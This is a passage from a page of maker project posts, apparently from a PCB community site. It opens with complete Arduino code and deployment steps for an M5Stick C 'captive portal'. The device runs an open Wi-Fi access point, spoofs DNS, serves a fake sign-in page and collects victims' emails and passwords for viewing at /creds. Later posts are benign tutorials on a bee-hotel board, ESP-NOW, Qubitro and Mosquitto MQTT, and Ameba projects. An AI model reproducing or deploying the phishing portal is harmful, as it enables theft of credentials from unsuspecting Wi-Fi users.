DNSServer dnsServer; WebServer webServer(80); String input(String argName) { String a = webServer.arg(argName); a.replace("<", "&lt;"); a.replace(">", "&gt;"); a.substring(0, 200); return a; } String footer() { return "</div><div class=q><a>&#169; All rights reserved.</a></div>"; } String header(String t) { String a = String(SSID_NAME); String CSS = "article { background: #f2f2f2; padding: 1.3em; }" "body { color: #333; font-family: Century Gothic, sans-serif; font-size: 18px; line-height: 24px; margin: 0; padding: 0; }" "div { padding: 0.5em; }" "h1 { margin: 0.5em 0 0 0; padding: 0.5em; }" "input { width: 100%; padding: 9px 10px; margin: 8px 0; box-sizing: border-box; border-radius: 0; border: 1px solid #555555; }" "label { color: #333; display: block; font-style: italic; font-weight: bold; }" "nav { background: #0066ff; color: #fff; display: block; font-size: 1.3em; padding: 1em; }" "nav b { display: block; font-size: 1.5em; margin-bottom: 0.5em; } " "textarea { width: 100%; }"; String h = "<!DOCTYPE html><html>" "<head><title>" + a + " :: " + t + "</title>" "<meta name=viewport content=\"width=device-width,initial-scale=1\">" "<style>" + CSS + "</style></head>" "<body><nav><b>" + a + "</b> " + SUBTITLE + "</nav><div><h1>" + t + "</h1></div><div>"; return h; } String creds() { return header(PASS_TITLE) + "<ol>" + Credentials + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>" + footer(); } String index() { return header(TITLE) + "<div>" + BODY + "</ol></div><div><form action=/post method=post>" + "<b>Email:</b> <center><input type=text autocomplete=email name=email></input></center>" + "<b>Password:</b> <center><input type=password name=password></input><input type=submit value=\"Sign in\"></form></center>" + footer(); } String posted() { String email = input("email"); String password = input("password"); Credentials = "<li>Email: <b>" + email + "</b></br>Password: <b>" + password + "</b></li>" + Credentials; return header(POST_TITLE) + POST_BODY + footer(); } String clear() { String email = "<p></p>"; String password = "<p></p>"; Credentials = "<p></p>"; return header(CLEAR_TITLE) + "<div><p>The credentials list has been reseted.</div></p><center><a style=\"color:blue\" href=/>Back to Index</a></center>" + footer(); } void BLINK() { // The internal LED will blink 5 times when a password is received. int count = 0; while (count < 5) { digitalWrite(BUILTIN_LED, LOW); delay(500); digitalWrite(BUILTIN_LED, HIGH); delay(500); count = count + 1; } } void setup() { M5.begin(); M5.Lcd.setRotation(3); M5.Lcd.fillScreen(BLACK); M5.Lcd.setSwapBytes(true); M5.Lcd.setTextSize(1.5); M5.Lcd.setTextColor(TFT_RED, TFT_BLACK); M5.Lcd.setCursor(0, 10); M5.Lcd.print("M5Stick C Cap Portal"); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 25); M5.Lcd.print("WiFi IP: "); M5.Lcd.print(APIP); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 35); M5.Lcd.print("Victim Count: "); M5.Lcd.print(capcount); bootTime = lastActivity = millis(); WiFi.mode(WIFI_AP); WiFi.softAPConfig(APIP, APIP, IPAddress(255, 255, 255, 0)); WiFi.softAP(SSID_NAME); dnsServer.start(DNS_PORT, "*", APIP); // DNS spoofing (Only HTTP) webServer.on("/post", []() { capcount=capcount+1; webServer.send(HTTP_CODE, "text/html", posted()); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 45); M5.Lcd.print("status: "); M5.Lcd.print("Victim In"); BLINK(); M5.Lcd.fillScreen(BLACK); }); webServer.on("/creds", []() { webServer.send(HTTP_CODE, "text/html", creds()); }); webServer.on("/clear", []() { webServer.send(HTTP_CODE, "text/html", clear()); }); webServer.onNotFound([]() { lastActivity = millis(); webServer.send(HTTP_CODE, "text/html", index()); }); webServer.begin(); pinMode(BUILTIN_LED, OUTPUT); digitalWrite(BUILTIN_LED, HIGH); } void loop() { if ((millis() - lastTick) > TICK_TIMER) { lastTick = millis(); M5.Lcd.fillScreen(BLACK); M5.Lcd.setSwapBytes(true); M5.Lcd.setTextSize(1.5); M5.Lcd.setTextColor(TFT_RED, TFT_BLACK); M5.Lcd.setCursor(0, 10); M5.Lcd.print("M5Stick C Cap Portal"); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 25); M5.Lcd.print("WiFi IP: "); M5.Lcd.print(APIP); M5.Lcd.setTextColor(TFT_GREEN, TFT_BLACK); M5.Lcd.setCursor(0, 35); M5.Lcd.print("Victim Count: "); M5.Lcd.print(capcount); } dnsServer.processNextRequest(); webServer.handleClient(); } Deployment: Once the code is uploaded in the M5Stick C, it will show up the IP address and the victim count. then, look for the free Wi-Fi AP that we have created. Next, let's try to connect that. Once connected it will redirect you to the login page. Login page: Next, try to sign in with some credentials. 1 / 2 Here is the M5Stick C's response: If you want to see the captured passwords, open the same URL with /creds at the end. It will show all the captured passwords. If you want to clear the saved credentials, navigate to the same URL with /clear at the end. That's all, please use this only for educational purposes.
  18. One of my teammates is working on an open Hardware Project that I thought to share. The product they’re developing is a bee hotel for native bees (not honeybees)! At the SF Climate hackathon, they integrated the Particle Argon onto a PCB with solar panels, MPPC, and a PWM PIR sensor for the bees. Here’s the link to the schematics, layout and 3D. I'll add a 3D screenshot at the bottom of the post. "A little bit of background, a native bee hotel houses sedentary bees which lay their eggs in tube structures, like hollow plant stems. We want to use PIR sensors along the tubes to get bee traffic data and build a country-wide bee traffic map. Solar Cells I’ve bumped into the IXYS KXOB25 series before and loved them for their reflowability. I wanted to connect them in parallel so the only constraint was that their output voltage is less than 5V, which is the maximum input voltage of the energy harvesting IC. Energy Harvesting I chose the LTC3105EDD 15 because I’ve seen it used to maximize solar cell power output in some nanosatellite projects I’ve browsed in the past. Although it doesn’t have an actual MPPT algorithm, it has a very attractive 250mV startup voltage which can potentially increase the times of day our device will provide power (dawn, dusk, cloud cover). All this needs real world testing which is coming next week. PIR Sensors These are paired infrared transmitters and receivers. As seen in the 3D view, we’re using 2 of them per bee tube to determine which direction the bees are going (in or out of the tube). Of course, this would need to be done in firmware. To save power (because these PIR diodes are super power hungry, we added a low side MOSFET that switches all three strings of PIR diodes (they are strung in series to get 1.1V drive from a 3.3V source). In theory, we can decrease the PWM duty cycle to as low as the PIR’s rise time and set the frequency to 1Hz which would save so much power. Future Steps Here are the unknowns that we’ll be researching. I already see some good answers in the forums, but please feel free to chime in! I’ve played with Edge Impulse in the past and we want to run a small tflite model on particle hardware that would determine what type of bee is in the hotel based on a short audio sample. We also want to send this data to a central server hosted by particle; in your experience how many weeks/months would it take to setup particle cloud to get up to 100 provisioned devices sending about 50 bytes of data to a central server? It would be awesome if we can get that done quickly."
  19. ESP-NOW is a wireless communication protocol based on the data-link layer that enables the direct, quick, and low-power control of smart devices without the need for a router. Espressif defines it and can work with Wi-Fi and Bluetooth LE. ESP-NOW provides flexible and low-power data transmission to all interconnected devices. It can also be used as an independent protocol that helps with device provisioning, debugging, and firmware upgrades. ESP-NOW is a connectionless communication protocol developed by Espressif that features short packet transmission. This protocol enables multiple devices to talk to each other in an easy way. It is a fast communication protocol that can be used to exchange small messages (up to 250 bytes) between ESP32 or ESP8266 boards. ESP-NOW supports the following features: Encrypted and unencrypted unicast communication; Mixed encrypted and unencrypted peer devices; Up to 250-byte payload can be carried; Sending callback function that can be set to inform the application layer of transmission success or failure. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. How is it different from existing protocols? ESP-NOW is a wireless communication protocol that is different from Wi-Fi and Bluetooth in that it reduces the five layers of the OSI model to only one1. Additionally, ESP-NOW occupies fewer CPU and flash resources than traditional connection protocols while co-exists with Wi-Fi and Bluetooth LE. Bluetooth is used to connect short-range devices for sharing information, while Wi-Fi is used for providing high-speed internet access2. Wi-Fi provides high bandwidth because the speed of the internet is an important issue. Max Distance: The range of ESP-NOW is up to 480 meters when using the ESP-NOW protocol for bridging between multiple ESP32s1. The range can be further increased by enabling long-range ESP-NOW. When enabled, the PHY rate of ESP32 will be 512Kbps or 256Kbps. Maximum nodes: ESP-NOW supports various series of Espressif chips, providing a flexible data transmission that is suitable for connecting “one-to-many” and “many-to-many” devices. Applications: ESP-NOW is widely used in smart-home appliances, remote controlling, sensors, etc. In this tutorial, will see how to implement a basic ESP NOW communication between ESP32 Microcontrollers. Step: 1 ESPNOW communication works based on the MAC address of the nodes. So, we need to find the Mac address of our slave or receiver node. ]For that just upload the following sketch to the ESP32 board and look for the Mac address in the serial monitor. #include "WiFi.h" void setup(){ Serial.begin(115200); WiFi.mode(WIFI_MODE_STA); Serial.println(WiFi.macAddress()); } void loop(){ } Once you uploaded the code, press the EN button and wait for the serial monitor results. It will show you the Mac address. Note that. Step-2: Next, we need to prepare the transmitter, for that use this example sketch which can send multiple data types of data to the particular slave node. #include <esp_now.h> #include <WiFi.h> // REPLACE WITH YOUR RECEIVER MAC Address uint8_t broadcastAddress[] = {0x94, 0xB5, 0x55, 0x26, 0x27, 0x34}; // Must match the receiver structure typedef struct struct_message { char a[32]; int b; float c; bool d; } struct_message; // Create a struct_message called myData struct_message myData; esp_now_peer_info_t peerInfo; // callback when data is sent void OnDataSent(const uint8_t *mac_addr, esp_now_send_status_t status) { Serial.print("\r\nLast Packet Send Status:\t"); Serial.println(status == ESP_NOW_SEND_SUCCESS ? "Delivery Success" : "Delivery Fail"); } void setup() { // Init Serial Monitor Serial.begin(115200); // Set device as a Wi-Fi Station WiFi.mode(WIFI_STA); // Init ESP-NOW if (esp_now_init() != ESP_OK) { Serial.println("Error initializing ESP-NOW"); return; } // Once ESPNow is successfully Init, we will register for Send CB to // get the status of Trasnmitted packet esp_now_register_send_cb(OnDataSent); // Register peer memcpy(peerInfo.peer_addr, broadcastAddress, 6); peerInfo.channel = 0; peerInfo.encrypt = false; // Add peer if (esp_now_add_peer(&peerInfo) != ESP_OK){ Serial.println("Failed to add peer"); return; } } void loop() { // Set values to send strcpy(myData.a, "I'm alive"); myData.b = random(1,20); myData.c = 1.2; myData.d = false; // Send message via ESP-NOW esp_err_t result = esp_now_send(broadcastAddress, (uint8_t *) &myData, sizeof(myData)); if (result == ESP_OK) { Serial.println("Sent with success"); } else { Serial.println("Error sending the data"); } delay(2000); } Here are the serial monitor results, it show sent success but not delivered. Because we don't have the receiver. Let's try to implement the receiver. Step-3: Step-3:d example sketch which can receive the data from the master and it will print that into the serial monitor. #include <esp_now.h> #include <WiFi.h> // Structure example to receive data typedef struct struct_message { char a[32]; int b; float c; bool d; } struct_message; // Create a struct_message called myData struct_message myData; // callback function that will be executed when data is received void OnDataRecv(const uint8_t * mac, const uint8_t *incomingData, int len) { memcpy(&myData, incomingData, sizeof(myData)); Serial.print("Bytes received: "); Serial.println(len); Serial.print("Char: "); Serial.println(myData.a); Serial.print("Int: "); Serial.println(myData.b); Serial.print("Float: "); Serial.println(myData.c); Serial.print("Bool: "); Serial.println(myData.d); Serial.println(); } void setup() { // Initialize Serial Monitor Serial.begin(115200); // Set device as a Wi-Fi Station WiFi.mode(WIFI_STA); // Init ESP-NOW if (esp_now_init() != ESP_OK) { Serial.println("Error initializing ESP-NOW"); return; } // get recv packer info esp_now_register_recv_cb(OnDataRecv); } void loop() { } Serial monitor results. Wrap Up: We have seen how to implement the ESP NOW in ESP32 microcontroller, in upcoming tutorials will see how to transmit sensor data via ESPNOW.
  20. What is Qubitro? Qubitro is an IoT (Internet of Things) platform that provides tools and services for connecting, managing, and analyzing IoT devices and data. It provides a cloud-based platform where users can securely connect their IoT devices and collect data from sensors and actuators. It supports a wide range of communication protocols and provides device management capabilities, monitoring device data, linking with third-party webhooks, and creating rules to trigger based on conditions, etc. All of it with a Great UI ❤ Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Getting Started To get started with Qubitro, we will first need to create an account. Go to the Qubitro website (https://www.qubitro.com/) and click on the "Sign Up" button. You will be prompted to enter Full Name, Email Address,Country, and password to create your account. Once, we have created the account, we can log in from https://portal.qubitro.com/login. However, we shall automatically be logged in to our account. Create a New Project Once you have logged in, you will be prompted to create a project. Enter a name for your project and mention a description for your project. Add Devices Next, you will need to add devices to your application. Go to the Project (if not already open), there we can see a button [+ New Source]. From this section, we will have 3 major sections - 1. Communication Protocol With a prompt to choose between LoRaWAN, MQTT, & Cellular. We can choose the protocol that best suits our use-case. I choose MQTT to get started with the platform basics. And since I shall be using Arduino IDE for programming the board, I went ahead with the MQTT Broker (Qubitro has its own broker - we shall see it in the upcoming section). In case you wish to know how the Toit platform works, you can check my Tutorial on Toit.io 2. Device Details I shall be using an ESP32 Dev Board, and therefore entered the details as per the image below - 3. Credentials In the next step, we receive credentials, to connect to the MQTT Broker. We can use this detail to connect to the broker as a client - to Publish or Subscribe. Now that we have the server, port, username and password we are all ready to send data to the Qubitro Cloud. Copy these details in a safe place (We can view them later in the device settings as well though) Hardware - From Device to Cloud Once you have configured your devices, you can start collecting data. Qubitro provides a range of tools for data collection and analysis, including real-time data visualization, data logging, and data filtering. We shall upload a code on ESP32 using Arduino IDE to send data to Qubitro - #include <WiFiClientSecure.h> #include <PubSubClient.h> #include <HTTPClient.h> #include <ArduinoJson.h> These are the necessary libraries for establishing an MQTT connection, handling HTTP requests, and working with JSON data. const char* ssid = "xxxxxxxxx"; const char* password = "xxxxxxxxx"; String topic = "xxxxx"; String mqtt_server = "broker.qubitro.com"; String mqttuser = "xxxxxxxxxxxxxxxxxxxxxx"; String mqttpass = "xxxxxxxxxxxxxxxxxxxxxx"; String clientId = "xxxxxxxxxxxxxxxxxxxxxx"; These variables store the Wi-Fi credentials (ssid and password), MQTT broker server address (mqtt_server), MQTT authentication credentials (mqttuser and mqttpass), MQTT client ID (clientId), and the MQTT topic (topic) to which the data will be published. WiFiClientSecure espClient; PubSubClient client(espClient); float humidity = 0; float temp = 0; Create an instance of WiFiClientSecure and PubSubClient classes to establish a secure connection with the MQTT broker. Also, initializing default value of temperature and humidity. #define MSG_BUFFER_SIZE (500) char msg[MSG_BUFFER_SIZE]; char output[MSG_BUFFER_SIZE]; Define the size of the message buffer for storing MQTT messages. void device_setup() { // ... Wi-Fi connection setup ... } This function sets up the Wi-Fi connection by connecting to the specified Wi-Fi network (ssid and password). void reconnect() { // ... MQTT reconnection logic ... } This function handles the reconnection to the MQTT broker in case of disconnection. void setup() { // ... Initialization code ... } The setup() function is the entry point of the code. It initializes the serial communication, sets up the device, establishes a connection with the MQTT broker, and prepares the secure connection using WiFiClientSecure and PubSubClient objects. void loop() { // ... Main code loop ... } The loop() function is the main execution loop of the code. It checks the MQTT connection, publishes the simulated temperature and humidity data to the MQTT topic, and then waits for a delay of 1 second before repeating the process. Inside the loop() function, you'll notice the following steps: if (!client.connected()) checks if the MQTT client is connected. If not, it calls the reconnect() function to establish the connection. client.loop() allows the MQTT client to maintain the connection and handle any incoming messages. The temp and humidity variables are randomly generated simulated values. A JSON document is created using the ArduinoJson library to store the temperature and humidity data. The JSON document is serialized into a string format using the serializeJson() function and stored in the output variable. The client.publish() function is used to publish the serialized JSON data to the specified MQTT topic. The serialized JSON data is printed to the serial monitor using Serial.println(). A delay of 1 second is added before repeating the loop. Full version of the code available in the Code Section. Now that we have written the code, upload it to the ESP32 board and wait for it to send data to cloud. To check data, go to Device Name that you created, and check for any incoming data in the table. (refresh the table in case data not retrieved) Create Dashboard Now that we were able to fetch for real-time data from the ESP32 board and view it on the table of Qubitro. Let us use the visualization feature to plot a graph of the data. Trust me, it takes seconds to setup the whole thing. Go to Dashboards, and create a New Dashboard. Give it a name. Once created, open it and go to Edit > Add Widget > Charts. Click on the new widget > three dots (settings) > Customization. Accordingly, select the data source, chart type and colour for data variables. Follow the below images for reference, and final Graph. Data source example above Data Point example above Finally, I received the above graph based on a 30-minute data logging. If we head back to the main dashboard page, we can have a proper view, and with a view configuration, receive live data in realtime on Qubitro. In the dashboard, click on the chart widget we created, click on edit and drag it to the middle. Stretch and play with the widget according to the need. Resizing it for proper viewing. Remember to save it. If you are facing trouble with viewing the data with 4 points in the graph period, you can change it in the View Mode's configuration of the graph widget. Now, using this we can view the data of our device based on our needs! Rules to Trigger and Integration Services Finally, Qubitro allows you to integrate with other services such as Twilio, Slack, MailGun, and SendGrid. We can also use the trigger for Webhooks (RAW HTTP request) triggering, You can do this by clicking on the "Rules" tab in the Device section and selecting the service you want to integrate with. Congratulations! You have now completed the Qubitro IoT Platform documentation tutorial. We hope that this tutorial has provided you with the information you need to get started with Qubitro and create your own IoT application. If you have any questions or need further assistance, please visit the Qubitro website or contact their support team. Hurray! 🎉 We have learned another IoT Platform - Qubitro Device Data Platform esp32_mqtt_qubitro.ino
  21. What is MQTT? MQTT stands for Message-Queue-Telemetry-Transport, is a publish/subscribe protocol for machine-to-machine communication. This simple protocol, is easy to implement for any client. Termed as the Pub and Sub, both are used for same purpose but with different methods. Get PCBs for Your Projects Manufactured You must check out PCBWAY for ordering PCBs online for cheap! You get 10 good-quality PCBs manufactured and shipped to your doorstep for cheap. You will also get a discount on shipping on your first order. Upload your Gerber files onto PCBWAY to get them manufactured with good quality and quick turnaround time. PCBWay now could provide a complete product solution, from design to enclosure production. Check out their online Gerber viewer function. With reward points, you can get free stuff from their gift shop. Getting Started Here, there are 2 sections - Publish and Subscribe. And then there is a middleman - Broker. Let us see in depth IoT Devices play the role to collect sensor data and send to the cloud (broker). While PC/Server/Mobile devices play the role to monitor and receive the sensor data to be viewed - Here, IoT Device is a Publisher, and PC Devices are Subscriber. According to the above analogy, the image that is published is the data, that was transferred from user1 to user2 📤. And that is the exact scenario in an MQTT Pub/Sub model. We have a more secure layer 🔒 to make sure the data is shared through a specific path, we call that 'topic', When user1 publishes data on topic, the subscriber automatically receives if already connected to the broker. Hence, the LOW latency. MQTT Broker Whenever there is a pub-sub model used as a message communication protocol, we require a broker that can transfer the information in the required device. This can be done by sending the message under correct topic. Let us understand this - A Broker is a runtime server (continuously running service), which can have 2 types of clients - Publisher (seller) & Subscriber (buyer) For instance, when a seller sells a product through a broker to a buyer, then it is using the Broker's service to reach & find a secured buyer. Similarly, when publisher publishes a piece of information, the data reaches to the subscriber through the Broker. The broker is responsible for having specific storage space where it can expect data from the publisher to store temporarily and then send to the subscriber. In the pub-sub MQTT, clients talk to each other through an MQTT broker. There are many MQTT Brokers in the market. It is even possible to create our own broker, or use an open-source broker 'paho'. For the current project, we shall first understand the mechanism and then watch a trial movement of data on Mosquitto MQTT Broker. Mosquitto Platform Now that we understand how MQTT works, let us use a cloud MQTT service and send data across the internet. In this article, we'll be using Mosquitto MQTT - test.mosquitto.org Under the Server section, we can see different ports provide feature-separated servers. These servers act like channels for sharing data over the cloud. Let us understand it first - MQTT Broker Port (default: 1883): This is the standard port used for MQTT communication. MQTT clients use I to connect to the Mosquitto broker and publish/subscribe to topics. It operates over TCP. MQTT Broker SSL/TLS Port (default: 8883): This is the secure version of the MQTT broker port. It uses SSL/TLS encryption to provide secure communication between MQTT clients and the Mosquitto broker. Clients connect to this port to establish a secure connection. WebSocket Port (default: 9001): Mosquitto also supports MQTT over WebSockets, allowing MQTT clients to connect to the broker using the WebSocket protocol. The WebSocket port is used for WebSocket-based MQTT communication. WebSocket SSL/TLS Port (default: 9443): This is the secure WebSocket port used for encrypted WebSocket-based MQTT communication. It provides a secure connection using SSL/TLS encryption. We shall be using 1883 port to send data and monitor. As we know, MQTT has 3 services - Publisher, Broker, and Subscriber. In this case, mosquito MQTT Cloud is already playing the role of a broker. Now, we'd be using ESP32 Dev Board, which has a wifi chip and is able to connect to the Internet, playing the role of a Publisher for sharing its temperature and humidity data from the sensor. On the other hand, we shall use the PC to view this data as a Subscriber. This will enable us to fully understand the working principle of the MQTT protocol used in IoT Communication between devices. Publisher (ESP32) To set up the ESP32 for MQTT, we need to install a library - PubSubClient. This library has functions that use variables as mentioned below to send data to the broker. mqtt_server: This variable represents the address or IP of the MQTT broker. We shall be using "test.mosquitto.org" mqtt_port: This variable represents the port number of the MQTT broker. In our case 1883. mqtt_topic: This variable represents the topic to which the publisher will send messages. For Example "schoolofiot/device1". Where 'schoolofiot' is the general-most topic level. And 'device1' is a sub-level. The provided code is an Arduino sketch that uses the ESP32 WiFi module and the PubSubClient library to connect to an MQTT broker and publish temperature and humidity data. Let's break down the code step by step: 1. Include necessary libraries: #include <WiFi.h> #include <PubSubClient.h> This code includes the required libraries for the ESP32 WiFi module and the MQTT client functionality. 2. Define WiFi & MQTT Server variables: const char* ssid = "XXXXXXXXXX"; const char* password = "XXXXXXXXXX"; const char* mqtt_server = "test.mosquitto.org"; These variables store the SSID (network name) and password for the WiFi network you want to connect to. The mqtt_server variable holds the IP address or hostname of the MQTT broker. 3. Declare global variables and objects: WiFiClient espClient; PubSubClient client(espClient); long lastMsg = 0; char msg[50]; int value = 0; float temperature = 0; float humidity = 0; Here, a WiFi client object (espClient) and an MQTT client object (client) are declared. The lastMsg variable stores the timestamp of the last message, and the msg is a character array for message storage. The value, temperature, and humidity variables are used to hold the respective sensor values. 4. Setup function: void setup() { Serial.begin(115200); setup_wifi(); client.setServer(mqtt_server, 1883); client.setCallback(callback); } The setup() function is called once at the start of the program. It initializes the serial communication, sets up the WiFi connection, configures the MQTT server and port, and sets the callback function to handle incoming messages. 5. WiFi setup function: void setup_wifi() { //... } The setup_wifi() function handles the connection to the WiFi network using the provided SSID and password. It waits until the connection is established and prints the local IP address to the serial monitor. 6. MQTT callback function: void callback(char* topic, byte* message, unsigned int length) { //... } This function is called when a message is received from the MQTT broker. It prints the received message along with the corresponding topic. 7. MQTT reconnection function: void reconnect() { //... } The reconnect() function is responsible for reconnecting to the MQTT broker if the connection is lost. It attempts to connect to the broker using a randomly generated client ID. If the connection is successful, it prints a success message. Otherwise, it waits for 5 seconds before retrying. 8. Main loop: void loop() { if (!client.connected()) { reconnect(); } client.loop(); long now = millis(); if (now - lastMsg > 2000) { lastMsg = now; sendData(); } } The loop() function is the main program loop that runs continuously after the setup() function. It checks if the MQTT client is connected and, if not, attempts to reconnect. It also calls the client.loop() function to maintain the MQTT client's internal state. Every 2 seconds, it calls the sendData() function to publish temperature and humidity data. 9. Publish sensor data function: void sendData() { //... } The sendData() function is responsible for publishing temperature and humidity data to specific MQTT topics. It generates random values for temperature and humidity, converts them to strings, and publishes them along with the corresponding topic. - Publish a gap message: client.publish("schoolofiot/gap", "--------------"); This line publishes a message consisting of a series of dashes (--------------) to the MQTT topic "schoolofiot/gap". It is used to indicate a separation or gap between different sets of data. - Read and publish temperature data: temperature = random(30, 40); char tempString[8]; dtostrf(temperature, 1, 2, tempString); Serial.print("Temperature: "); Serial.println(tempString); String tempdata = "Temperature: " + String(tempString); client.publish("schoolofiot/temperature", tempdata.c_str()); These lines generate a random temperature value between 30 and 40 degrees, store it in the temperature variable, and usedtostrf() function to convert decimal point data to String. The temperature value is then printed to the serial monitor and concatenated with the string "Temperature: ". The resulting string is stored in the tempdata variable. Finally, the tempdata string is published to the MQTT topic schoolofiot/temperature using the client.publish() function. - Read and publish humidity data: humidity = random(60, 70); char humString[8]; dtostrf(humidity, 1, 2, humString); Serial.print("Humidity: "); Serial.println(humString); String humdata = "Humidity: " + String(humString); client.publish("schoolofiot/humidity", humdata.c_str()); These lines generate a random humidity value between 60 and 70 percent, store it in the humidity variable. Overall, the sendData() function generates random temperature and humidity values, converts them to strings, and publishes them to specific MQTT topics for further processing or monitoring. Final Code can be found in the Code section But to confirm this, we also need to read the data from other the side - Subscriber. Subscriber (Windows PC) To set up the Subscriber on PC, we need to install Mosquitto MQTT Applcation. This application can create a broker, publisher & subscriber - all sections To install Mosquitto MQTT on your PC from the official website and make changes to the configuration file for listener 1883 and allow anonymous connections, you can follow these steps: 1. Download andInstall Mosquitto: Go to the official Mosquitto website (https://mosquitto.org/). Navigate to the "Downloads" section. Choose the appropriate installer for your operating system (Windows x64 in this case) and download it Install the application in desired location. 2. Edit Configuration File: Open the installation directory where Mosquitto is installed. Locate the mosquitto.conf file (usually found in the main directory). Open mosquitto.conf in a text editor of your choice.Add the below 2 lines - listener 1883 allow_anonymous true It should look somewhat like this - We can uncomment ad make changes in the file as well, but adding only 2 lines on the top is more simple and noticeable. 3. Run Mosquitto Subscriber We can run the Mosquitto broker and then subscribe to the topic we desire. But running directly the subscriber is best in our case. Open the folder/directory where the mosquitto.exe along with mosquitto_sub.exe is present. Run the PowerShell/CMD terminal from within the directory. For windows, open the directory > Press shift + right-mouse-button(right-click), and we'd see options for running a terminal like powershell. On the terminal, enter below command - > .\mosquitto_sub -h test.mosquitto.org -t "schoolofiot/#" In the above command, if you noticed, I did not subscribe to a specific topic. As per the topics we published (from ESP32), like "schoolofiot/gap", "schoolofiot/temperature" or "schoolofiot/humidity". The reason is, gap, temperature & humidity comes under the general topic of schoolofiot level. So, to access/view any data published as a sub-level of schoolofiot, we can use '#'. Apart from this, in case we need to subscribe to a specific topic (like temperature), we can use command like this - > .\mosquitto_sub -h test.mosquitto.org -t "schoolofiot/temperature" Therefore, no matter what name is put under the general topic, we can subscribe to it and view all of them together. Hurray! 🎉 We have learned another IoT Platform - Mosquitto MQTT (By Eclipse) Code #include <WiFi.h> #include <PubSubClient.h> // Replace the next variables with your SSID/Password combination const char* ssid = "XXXXXXXXXX"; const char* password = "XXXXXXXXXX"; // Add your MQTT Broker IP address, example: const char* mqtt_server = "test.mosquitto.org"; WiFiClient espClient; PubSubClient client(espClient); long lastMsg = 0; char msg[50]; int value = 0; float temperature = 0; float humidity = 0; void setup() { Serial.begin(115200); // default settings setup_wifi(); client.setServer(mqtt_server, 1883); client.setCallback(callback); } void setup_wifi() { delay(10); // We start by connecting to a WiFi network Serial.println(); Serial.print("Connecting to "); Serial.println(ssid); WiFi.begin(ssid, password); while (WiFi.status() != WL_CONNECTED) { delay(500); Serial.print("."); } Serial.println(""); Serial.println("WiFi connected"); Serial.println("IP address: "); Serial.println(WiFi.localIP()); } void callback(char* topic, byte* message, unsigned int length) { Serial.print("Message arrived on topic: "); Serial.print(topic); Serial.print(". Message: "); String messageTemp; for (int i = 0; i < length; i++) { Serial.print((char)message[i]); messageTemp += (char)message[i]; } Serial.println(); } void reconnect() { // Loop until we're reconnected while (!client.connected()) { Serial.print("Attempting MQTT connection..."); // Attempt to connect String clientId = "client-" + random(100, 999); if (client.connect(clientId.c_str())) { Serial.println("connected"); } else { Serial.print("failed, rc="); Serial.print(client.state()); Serial.println(" try again in 5 seconds"); // Wait 5 seconds before retrying delay(5000); } } } void loop() { if (!client.connected()) { reconnect(); } client.loop(); long now = millis(); if (now - lastMsg > 2000) { lastMsg = now; Serial.println(client.connected()); sendData(); } } void sendData(){ Serial.println(); client.publish("schoolofiot/gap", "--------------"); //Read Temperature temperature = random(30,40); char tempString[8]; dtostrf(temperature, 1, 2, tempString); Serial.print("Temperature: "); Serial.println(tempString); String tempdata = "Temperature: " + String(tempString); client.publish("schoolofiot/temperature", tempdata.c_str()); //Read Humidity humidity = random(60,70); char humString[8]; dtostrf(humidity, 1, 2, humString); Serial.print("Humidity: "); Serial.println(humString); String humdata = "Humidity: " + String(humString); client.publish("schoolofiot/humidity", humdata.c_str()); }
  22. Do you want to always keep track with the time of place of your interest without having to google it? Then this project is what you are looking for! This LCD Real-Time Network Clock make use of Network Time Protocol (NTP) together with a WiFi-enabled IOT microcontroller--Realtek Ameba 1 (RTL8195AM/ RTL8710AF) to create the product that you need. All you need to do is to let the microcontroller know which area's time that you would like to see and key in your WiFi SSID and password and that's it ! No matter how many time the power is off, or you have moved, as soon as it's powered back on and connected to the network, it will tell you the rigth time instantaneously! And of course, if you are arduino-savvy, you can program this product to read out the time or even control the lightings in your room accroding to the time bocause the soc used in the microcontroller is so powerful that it's able to connect more than dozens of devices and run multiple tasks simultaneously. For DIY upgrading this project, you may refer to www.amebaiot.com for more information.
  23. One of the most useful IoT applications is home security. Imagine a thief cutting your security camera wire while trying to break into your house. This won’t happen if your security system goes wireless and smart. This project demonstrates the capability of Realtek Ameba dev. board to conduct board-to-board communication via MQTT (FREE MQTT broker hosted at cloud.amebaiot.com). With this home security system, you will definitely be alarmed when your window/door is opened by the self-invited as the buzzer will make loud irritating noise while red LED flashes continuously. Of course, this project has left rooms to add your own logic to it. For example, sending MQTT messages to your phone to alert you, or to an IP camera to capture the image of the thief. Hardware Preparation - Ameba1 RTL8195AM x2 - Buzzer x1 - LED (red) x1 - Reed switch x1 - Magnet x1 - Jumpers x6 As 2 boards are needed to implement this project, there are 2 connection illustration as follows, https://github.com/Realtek-AmebaApp/Ameba_Examples/blob/master/RTL8195AM/006_HOME_SECURITY/WindowSecuritySystem_Switch_bb.png https://github.com/Realtek-AmebaApp/Ameba_Examples/blob/master/RTL8195AM/006_HOME_SECURITY/WindowSecuritySystem_Buzzer_bb.png Software Preparation 1. Check and make sure you have installed the ameba 1 board to Arduino IDE via adding this link into “additional boards manager URLs” under “Preference”, and install it in “board manager” under “Tools”, https://github.com/ambiot/amb1_arduino/raw/master/Arduino_package/package_realtek.com_ameba1_index.json 2. Copy the [buzzer source code](https://github.com/Realtek-AmebaApp/Ameba_Examples/blob/master/RTL8195AM/006_HOME_SECURITY/windowSecuritySystem_buzzer_Github.ino) and [switch source 